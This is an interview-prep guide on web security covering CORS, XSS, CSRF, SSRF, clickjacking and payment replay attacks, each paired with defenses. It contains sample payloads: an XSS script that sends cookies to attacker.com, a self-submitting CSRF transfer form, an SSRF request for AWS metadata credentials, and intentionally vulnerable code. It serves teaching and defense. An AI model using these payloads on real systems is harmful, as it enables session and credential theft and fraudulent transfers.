10-web-security-attacks-and-defenses.md

πŸ›‘οΈ CN 10: Web Security, Client Attacks & Browser Defenses (XSS, CORS, CSRF, SSRF, Clickjacking)

Targeted for: Juspay Elimination Round, Systems & Web Security Architecture Interviews
Key Focus: Cross-Site Scripting (XSS: Stored, Reflected, DOM-based), Cross-Origin Resource Sharing (CORS: SOP, Preflight OPTIONS, Headers), Cross-Site Request Forgery (CSRF: Synchronizer Tokens, SameSite cookies), SSRF (AWS/Cloud Metadata exploitation), Clickjacking, and Payment Replay Attacks.


πŸ“‘ Quick Navigation

  1. Same-Origin Policy (SOP) & CORS Deep Dive
  2. Cross-Site Scripting (XSS): Mechanics, Types & Prevention
  3. Cross-Site Request Forgery (CSRF): Attacks & Modern Defenses
  4. Server-Side Request Forgery (SSRF): Cloud Metadata Exploitation
  5. Clickjacking & UI Redressing
  6. Payment Security: Replay Attacks & Man-In-The-Middle (MITM)

1. Same-Origin Policy (SOP) & CORS Deep Dive

What is the Same-Origin Policy (SOP)?

The Same-Origin Policy is the most fundamental security mechanism enforced by web browsers. It isolates potentially malicious scripts executed from one website from accessing sensitive data on another website.

Definition of an "Origin":

Two URLs have the Same Origin if and only if all three components match: $$\mathbf{Origin} = \mathbf{Scheme\ (Protocol)} + \mathbf{Host\ (Domain)} + \mathbf{Port}$$

URL Comparison against https://api.juspay.in:443/ordersSame Origin?Reason
https://api.juspay.in/paymentsYESSame scheme (https), host (api.juspay.in), port (443 default)
http://api.juspay.in/ordersNODifferent scheme (http vs https)
https://checkout.juspay.in/ordersNODifferent host (checkout vs api)
https://api.juspay.in:8080/ordersNODifferent port (8080 vs 443)

What is CORS (Cross-Origin Resource Sharing)?

Key Interview Clarification: CORS is NOT a firewall or server-side security barrier. CORS is a browser mechanism that allows servers to selectively RELAX the strict Same-Origin Policy.

If you make an axios or fetch call from a frontend app hosted on https://merchant.com to https://api.juspay.in:

  1. The browser detects that the origins differ.
  2. Under strict SOP, the browser would block the frontend JavaScript from reading the response.
  3. CORS headers instruct the browser: "It's safe! This server explicitly permits https://merchant.com to read this response."

The Preflight Request (OPTIONS)

When a cross-origin request is NOT a "Simple Request" (e.g., uses POST with Content-Type: application/json, or includes custom headers like Authorization or x-idempotency-key), the browser must send a Preflight Check before transmitting actual data:

[ FRONTEND JS (merchant.com) ] [ JUSPAY API SERVER (api.juspay.in) ] β”‚ β”‚ β”‚ ─── 1. Preflight Request (OPTIONS /orders) ────────────────► β”‚ β”‚ Origin: https://merchant.com β”‚ β”‚ Access-Control-Request-Method: POST β”‚ β”‚ Access-Control-Request-Headers: Content-Type, Auth β”‚ β”‚ β”‚ β”‚ ◄─── 2. Preflight Approval (HTTP 200 / 204 No Content) ────── β”‚ β”‚ Access-Control-Allow-Origin: https://merchant.com β”‚ β”‚ Access-Control-Allow-Methods: POST, GET, OPTIONS β”‚ β”‚ Access-Control-Allow-Headers: Content-Type, Auth β”‚ β”‚ Access-Control-Max-Age: 86400 (Cache for 24 hours) β”‚ β”‚ β”‚ β”‚ ─── 3. Actual Application Request (POST /orders) ──────────► β”‚ β”‚ Payload: {"amount": 500, "currency": "INR"} β”‚ β”‚ β”‚ β”‚ ◄─── 4. Response Data ────────────────────────────────────── β”‚ β”‚ Access-Control-Allow-Origin: https://merchant.com β”‚

The Dangerous CORS Misconfiguration:

Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true <-- INVALID / DANGEROUS!

Browsers strictly reject credentials (cookies, auth headers) if Allow-Origin is a wildcard *. The server must dynamically reflect the validated whitelist origin.


2. Cross-Site Scripting (XSS): Mechanics, Types & Prevention

What is XSS?

Cross-Site Scripting occurs when an application includes untrusted user input inside a web page without proper validation, escaping, or sanitization, allowing an attacker to inject and execute arbitrary JavaScript inside a victim's browser.

What an Attacker Can Do via XSS:

  1. Steal session cookies / JWT tokens stored in localStorage or sessionStorage.
  2. Perform unauthorized API actions on behalf of the victim (e.g., trigger money transfer).
  3. Log keystrokes (credit card inputs) via injected event listeners (addEventListener('keypress')).
  4. Deface web pages or redirect users to phishing portals.

The 3 Types of XSS

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ THE 3 FLAVORS OF XSS β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ 1. STORED (Persistent) 2. REFLECTED (Non-Persistent) 3. DOM-BASED ────────────────────── ───────────────────────────── ──────────── Malicious script is saved Script is reflected off the Vulnerability exists entirely in database (comments, profile server in immediate response in client-side JS DOM parsing names) and served to EVERY (search query, error message (reading location.hash, user who loads the page. via crafted link). document.write, innerHTML).

Type 1: Stored XSS (Most Lethal)

  • Scenario: In a merchant feedback form, an attacker enters:
    <script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script>
  • The backend saves this string verbatim into a MySQL database.
  • Every time an admin reviews user feedback, the browser renders the unescaped HTML, executing the script and exfiltrating the admin's session credentials.

Type 2: Reflected XSS

  • Scenario: A search results page displays: "Results for: [User Query]".
  • An attacker sends an innocent victim a phishing email with a crafted link: https://bank.com/search?q=<script>alert(document.cookie)</script>
  • The server echoes the q parameter into the response HTML without escaping.

Type 3: DOM-Based XSS

  • Scenario: The vulnerability exists purely on the client-side; the server never sees the malicious payload.
  • In client-side JavaScript:
    // VULNERABLE CODE const query = new URLSearchParams(window.location.search).get("name"); document.getElementById("greeting").innerHTML = "Hello, " + query; // DANGEROUS SINK!
  • If the victim visits site.com?name=<img src=x onerror=stealTokens()>, the client browser parses innerHTML and triggers the exploit!

How to Prevent XSS (Production Defense-in-Depth)

  1. Context-Aware Output Encoding:
    • Never inject raw user input into HTML tags.
    • Convert dangerous characters to safe HTML entities:
      • < $\to$ &lt;
      • > $\to$ &gt;
      • & $\to$ &amp;
      • " $\to$ &quot;
      • ' $\to$ &#x27;
    • Modern frameworks (React, Angular, Vue) automatically encode string bindings in {variable} by default. (Avoid dangerouslySetInnerHTML).
  2. HttpOnly Cookie Flag:
    • Store sensitive session identifiers in cookies with the HttpOnly attribute set.
    • Result: JavaScript code (document.cookie) cannot access the cookie, completely defeating session-theft XSS attacks!
  3. Content Security Policy (CSP):
    • An HTTP response header that restricts what domains can load scripts, images, or stylesheets:
      Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.com; object-src 'none';
    • Disables inline script tags (<script>...) and eval().
  4. HTML Sanitization Libraries:
    • If user input must contain rich-text HTML (e.g., Markdown editor), sanitize it using vetted libraries like DOMPurify:
      const cleanHTML = DOMPurify.sanitize(dirtyUserInput);

3. Cross-Site Request Forgery (CSRF): Attacks & Modern Defenses

What is CSRF?

CSRF tricks an authenticated user into unknowingly submitting an unauthorized, state-changing HTTP request to a trusted website where they are currently logged in.

The Mechanism: Ambient Browser Credentials

When a browser makes an HTTP request to bank.com, it automatically attaches all cookies associated with bank.comβ€”even if the request was initiated by an external malicious site evil.com!

[ VICTIM ] 1. Logs into bank.com (Holds valid session cookie) 2. In another tab, visits attacker's site: evil.com β”‚ β–Ό [ EVIL.COM PAGE ] 3. Contains a hidden form that auto-submits on load: <form action="https://bank.com/transfer" method="POST"> <input type="hidden" name="to_account" value="ATTACKER_999"> <input type="hidden" name="amount" value="50000"> </form> <script>document.forms[0].submit();</script> β”‚ β–Ό [ BROWSER ] 4. Sends POST request to bank.com AND AUTOMATICALLY ATTACHES VICTIM'S COOKIE! β”‚ β–Ό [ BANK.COM SERVER ] 5. Inspects incoming cookie -> Valid session! Executes money transfer!

How to Prevent CSRF

1. Anti-CSRF Synchronizer Token Pattern

  • The server generates a unique, unpredictable, cryptographically random token (e.g., 256-bit entropy) tied to the user's current session.
  • When rendering a form or responding to an initial GET request, the server passes this token:
    <input type="hidden" name="_csrf" value="d4f7a8b9e1c2...">
  • Or passed via custom HTTP header: X-CSRF-Token: d4f7a8b9e1c2....
  • Because of SOP, evil.com cannot read the CSRF token from bank.com's page.
  • The server rejects any state-changing request (POST, PUT, DELETE) missing a valid matching token.

2. The Modern Standard: SameSite Cookie Attribute

Browsers now natively mitigate CSRF via the SameSite cookie attribute:

SameSite ModeBehavior on Cross-Site Requests
SameSite=StrictThe cookie is never sent in cross-site requests (not even when following a link from Google search).
SameSite=Lax (Default in Chrome)The cookie is withheld on cross-site subrequests (images, iframes, AJAX POST), but allowed when a user clicks a top-level standard link (GET).
SameSite=None; SecureCookie is sent in all cross-site contexts (requires HTTPS).

4. Server-Side Request Forgery (SSRF): Cloud Metadata Exploitation

What is SSRF?

In an SSRF attack, the attacker abuses functionality on the server to read or update internal resources that are inaccessible from the outside Internet.

Real-World Attack Scenario (AWS Metadata Exploitation)

Suppose an application lets users fetch their profile picture via URL: POST /api/fetch-avatar {"avatar_url": "https://imgur.com/photo.jpg"}

The backend server executes:

# VULNERABLE CODE response = requests.get(request.json['avatar_url'])

The Exploit: An attacker sends: {"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role"}

  • 169.254.169.254 is the AWS Link-Local Instance Metadata Service (IMDS) IP.
  • The cloud server makes the GET request from inside its own private network.
  • The IMDS returns the temporary AWS Access Key, Secret Key, and Session Token, granting the attacker complete takeover of the company's AWS cloud infrastructure!

Prevention:

  1. Whitelist permitted domains/schemes (https:// only, approved CDN hosts).
  2. Resolve DNS and verify the destination IP is not in private/reserved ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.1, 169.254.169.254).
  3. Enforce AWS IMDSv2 (requires session-token header X-aws-ec2-metadata-token, which blind SSRF cannot forge).

5. Clickjacking & UI Redressing

What is Clickjacking?

An attacker tricks a user into clicking on an invisible, transparent button or iframe overlaid directly on top of a seemingly harmless button (e.g., "Click here to win an iPhone!").

+-------------------------------------------------------------+ | Attacker Page: "Click here to win a free car!" | | | | [ WIN CAR BUTTON ] | | β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” | | β”‚ INVISIBLE IFRAME (opacity: 0.001) β”‚ | | β”‚ https://bank.com/transfer?to=hacker β”‚ | | β”‚ [ CONFIRM TRANSFER ] β”‚ | | β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ | +-------------------------------------------------------------+

When the user clicks the "Win Car" button, they are actually clicking the underlying "Confirm Transfer" button in the bank iframe.

Prevention:

  1. Content-Security-Policy: frame-ancestors 'none' (Modern Standard): Instructs browsers that this site cannot be embedded inside any iframe.
  2. X-Frame-Options: DENY or SAMEORIGIN (Legacy Header).

6. Payment Security: Replay Attacks & Man-In-The-Middle (MITM)

1. Payment Replay Attacks

  • Scenario: An attacker intercepts an encrypted authorization packet for a β‚Ή500 payment and sends it to the payment gateway 100 times, attempting to drain the customer's account.
  • Prevention at Juspay:
    • Nonce: A cryptographically random, single-use number included in each request signature.
    • Timestamp Window: Requests older than 30–60 seconds are rejected.
    • Idempotency Key: Gateway checks Redis for key collision; subsequent identical requests return the cached original response without re-executing payment.

2. Man-In-The-Middle (MITM) & SSL Stripping

  • Scenario: An attacker on an open Wi-Fi network uses ARP spoofing to place themselves between the user and the router. When the user visits http://bank.com, the attacker proxies the connection over HTTPS to the bank, but serves unencrypted HTTP back to the user (SSL Stripping via tools like sslstrip).
  • Prevention:
    • HSTS (HTTP Strict Transport Security):
      Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
      Instructs browsers to never load the site over plaintext HTTP under any circumstances.
    • Certificate Pinning: Mobile apps (like BHIM, Google Pay) hardcode the expected public key of the server certificate to thwart rogue/compromised CAs.